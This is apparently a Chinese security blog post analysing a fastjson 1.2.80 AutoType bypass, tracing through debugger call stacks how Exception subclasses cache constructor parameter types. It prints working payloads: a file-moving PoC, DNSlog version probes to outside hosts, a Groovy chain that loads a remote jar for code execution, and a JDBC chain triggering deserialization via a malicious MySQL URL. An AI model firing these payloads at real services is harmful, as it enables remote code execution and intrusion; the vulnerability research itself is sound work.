fastjson-1.2.80-bypass
fastjson-1.2.80-bypass
修复
在 fastjson1.2.68 修复中,作者把 java.lang.Runnable,java.lang.Readable 和 java.lang.AutoCloseable 加入了黑名单,把 AutoCloseable 的绕过就给堵死了,但是 你还记不记得 我们在讨论 fastjson-1.2.68 绕过时,expectClass 还有一个 Throwable 可以利用,mappings 缓存中保存了他的子类 Exception 我们在 1.2.80 中,可以利用 Exception 来做一些事情。
fastjson 特性
这里主要用到的特性就是 Fastjson 在反序列化过程中,通过分析已加载类的方法或构造函数签名,识别出其参数类型,并将这些参数类型和它对应的反序列化器,暂时加入 deserializers 表中,等到再次执行 JavaBeanDeserializer#deserialze 方法时,实现自定义 excpetClass,从而绕过 AutoType 的检测
原理分析
为了弄清原理,我们自己写个类 ,继承 Exception。因为要从 Exception 去绕过第一次 checkAutoType,然后利用 构造函数的参数 类型实现二次绕过
MyException
构造函数参数给了一个 OutputStream 类型 ,用来当第二次的 expectClass
package com.lingx5.fastjson1_2_8;
import java.io.OutputStream;
public class MyException extends Exception{
    public MyException(OutputStream out){
    }
}
这里从 fastjson1.2.68 中 随便找了一条 io 链
poc
实现 exp 的 1.txt 移动到 poc 目录下
{
  {
  "@type":"java.lang.Exception","@type":"com.lingx5.fastjson1_2_8.MyException","out": {}
  },
  {
     "@type": "java.io.OutputStream",
    "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
    "tempPath": "D:\\WebSafe\\JavaProject\\fastjson\\src\\main\\java\\com\\lingx5\\exp\\1.txt",
    "targetPath": "D:\\WebSafe\\JavaProject\\fastjson\\src\\main\\java\\com\\lingx5\\poc\\1.txt"
   }
}
bypassTest
package com.lingx5.fastjson1_2_8;
import com.alibaba.fastjson.JSON;
public class bypassTest {
    public static void main(String[] args) {
        String payload = "{\n" +
                "  {\n" +
                "  \"@type\":\"java.lang.Exception\",\"@type\":\"com.lingx5.fastjson1_2_8.MyException\",\"out\": {}\n" +
                "  },\n" +
                "  {\n" +
                "     \"@type\": \"java.io.OutputStream\",\n" +
                "    \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
                "    \"tempPath\": \"D:\\\\WebSafe\\\\JavaProject\\\\fastjson\\\\src\\\\main\\\\java\\\\com\\\\lingx5\\\\exp\\\\1.txt\",\n" +
                "    \"targetPath\": \"D:\\\\WebSafe\\\\JavaProject\\\\fastjson\\\\src\\\\main\\\\java\\\\com\\\\lingx5\\\\poc\\\\1.txt\"\n" +
                "   }\n" +
                "}";
        JSON.parse(payload);
    }
}
我们开始调试,这里 第一步利用 Throwable 绕过 checkAutoType,实例化 MyException 在 fastjson-1.2.68-bypass 文章中已经讲过了,所以就略过了
第一个对象解析
{
"@type": "java.lang.Exception", "@type": "com.lingx5.fastjson1_2_8.MyException", "out": {}
}
我们来到 实例化 MyException 完成后的 ThrowableDeserializer#deserialze 方法 ,直接看解析 out 参数
我们都知道 cast() 方法 是用来完成类型转换的,那肯定和 out 参数的类型有关

我们进入 cast 方法 , 看到有一层重载

接着跟
最后 return 了 调用 castToJavaBean() 方法

castToJavaBean() 调用 getDeserializer() 这个函数

我们看看 getDeserializer() 都做了什么

看到 他到最后把 java.io.OutputStream 和 JavaBeanDeserializer 对应起来 ,放入了 deserializers 表中
调用栈看一下
putDeserializer:1138, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:911, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:613, ParserConfig (com.alibaba.fastjson.parser)
castToJavaBean:1560, TypeUtils (com.alibaba.fastjson.util)
cast:1128, TypeUtils (com.alibaba.fastjson.util)
cast:1324, TypeUtils (com.alibaba.fastjson.util)
deserialze:153, ThrowableDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:405, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1430, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1390, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:291, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1430, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1390, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:181, JSON (com.alibaba.fastjson)
parse:191, JSON (com.alibaba.fastjson)
parse:147, JSON (com.alibaba.fastjson)
main:18, bypassTest (com.lingx5.fastjson1_2_8)
到这里 第一个对象的解析就做完了,主要就是把 构造参数 对应类型(java.io.OutputStream) 放入 deserializers 表中
第二个对象解析
{
"@type": "java.io.OutputStream",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"tempPath": "D:\WebSafe\JavaProject\fastjson\src\main\java\com\lingx5\exp\1.txt",
"targetPath": "D:\WebSafe\JavaProject\fastjson\src\main\java\com\lingx5\poc\1.txt"
}
我们经历一系列的弹栈后,来到了 DefaultJSONParser#parseObject 函数,继续扫描后续的 json 字符串,扫描到@type 后,又要进行 checkAutoType()

这次传入的是 out 的接口类型,进入

找到了 就 在后边直接 return 了

后边就是 后去 反序列化器 再次 去解析 json 串

我们就进入了 JavaBeanDeserializer#deserialze 方法,扫描到 "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream"
再次执行 checkAutoType 方法

毫无疑问,这肯定是可以绕过的

后续就和 fastjson 1.2.68 一样了,就不再调试了

成功执行了 payload
gadget
dnslog 探测版本
[
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "x": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "5jlb14.dnslog.cn"
  }
}
},
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "message": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "1hsn5g.ceye.io"
  }
}
}
]
在 fastjson1.2.8 下
在 fastjson1.2.83 下
这其实就是因为在 1.2.83 中 checkAutoType 修复了 对于 Throwable 的绕过,直接解析的 java.net.InetSocketAddress。 而在 1.2.8 中解析到第二个 JSONException时,会去用messege字段 去走构造方法,抛出异常 不会向第二个dnslog 发送请求

groovy 链
复现
Lonely-night/fastjsonVul: fastjson 80 远程代码执行漏洞复现 jar包 和 复现代码 都有
{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}
{
  "@type":"org.codehaus.groovy.control.ProcessingUnit",
  "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
  "config":{
    "@type": "org.codehaus.groovy.control.CompilerConfiguration",
    "classpathList":["http://127.0.0.1:8000/attack-1.jar"]
  },
  "gcl":null,
  "destDir": "/tmp"
}

分析
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
这个把 unit的类型 也就是 ProcessingUnit 放入了缓存表中,在解析第二个对象时,ProcessingUnit 作为期盼类 ,让他的 子类JavaStubCompilationUnit可以绕过 checkAutoType 的检查
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type": "org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":["http://127.0.0.1:8000/attack-1.jar"]
},
"gcl":null,
"destDir": "/tmp"
}
JavaStubCompilationUnit 在构造函数中,调用 super (CompilationUnit) 构造方法

CompilationUnit 接着调用super(ProcessingUnit) 构造器 => ProcessingUnit#setClassLoader => new GroovyClassLoader(parent, this.getConfiguration()); => addClasspath(path)
初始化恶意的classLoader调用栈

<init>:163, GroovyClassLoader (groovy.lang)
<init>:183, GroovyClassLoader (groovy.lang)
lambda$setClassLoader$0:106, ProcessingUnit (org.codehaus.groovy.control)
run:-1, 603443293 (org.codehaus.groovy.control.ProcessingUnit$$Lambda$22)
doPrivileged:-1, AccessController (java.security)
setClassLoader:103, ProcessingUnit (org.codehaus.groovy.control)
<init>:64, ProcessingUnit (org.codehaus.groovy.control)
<init>:180, CompilationUnit (org.codehaus.groovy.control)
<init>:161, CompilationUnit (org.codehaus.groovy.control)
<init>:46, JavaStubCompilationUnit (org.codehaus.groovy.tools.javac)
执行调用栈

addPhaseOperationsForGlobalTransforms:334, ASTTransformationVisitor (org.codehaus.groovy.transform)
doAddGlobalTransforms:308, ASTTransformationVisitor (org.codehaus.groovy.transform)
addGlobalTransforms:234, ASTTransformationVisitor (org.codehaus.groovy.transform)
addPhaseOperations:202, ASTTransformationVisitor (org.codehaus.groovy.transform)
addPhaseOperations:288, CompilationUnit (org.codehaus.groovy.control)
<init>:185, CompilationUnit (org.codehaus.groovy.control)
<init>:161, CompilationUnit (org.codehaus.groovy.control)
<init>:46, JavaStubCompilationUnit (org.codehaus.groovy.tools.javac)
JDBC
<!--  rhq-scripting-python 依赖 -->
<dependency>
    <groupId>org.rhq</groupId>
    <artifactId>rhq-scripting-python</artifactId>
    <version>4.13.0</version>
</dependency>
<!--  PostgreSQL 驱动依赖 -->
<dependency>
    <groupId>org.postgresql</groupId>
    <artifactId>postgresql</artifactId>
    <version>42.3.1</version>
</dependency>
<!--  mysql 只能是6.0.2 或者6.0.3 -->
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>6.0.2</version>
</dependency>
</dependencies>
JDBCExp
package com.lingx5.fastjson1_2_8;
import com.alibaba.fastjson.JSON;
public class JDBCExp {
    public static void main(String[] args) {
        String payload1 = "{\n" +
                "    \"@type\":\"java.lang.Exception\",\n" +
                "    \"@type\":\"org.python.antlr.ParseException\",\n" +
                "    \"type\":{}\n" +
                "}\n" ;
        String payload2 = "{\n" +
                "    \"@type\":\"org.python.core.PyObject\",\n" +
                "    \"@type\":\"com.ziclix.python.sql.PyConnection\",\n" +
                "    \"connection\":{ }\n" +
                "}\n";
        String payload3 = "{\n" +
                "    \"@type\":\"java.sql.Connection\",\n" +
                "    \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\",\n" +
                "    \"proxy\":{\n" +
                "        \"connectionString\":{\n" +
                "            \"url\":\"jdbc:mysql://localhost:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc\"\n" +
                "        }\n" +
                "    }\n" +
                "}\n";
        try {
            JSON.parse(payload1);
        }catch (Exception e){
        }
        try {
            JSON.parse(payload2);
        }catch (Exception e){
        }
        try {
            JSON.parse(payload3);
        }catch (Exception e){
        }
    }
}
具体的流程我们在分析 fastjson-1.2.68-bypass 其实已经介绍过了,对应的 8.0.19 也可以利用

为什么只能是 6.0.2 或者 6.0.3
这是因为 LoadBalancedConnectionProxy的构造参数有变化

更多
su18师傅 做了总结

                
            
        
浙公网安备 33010602011771号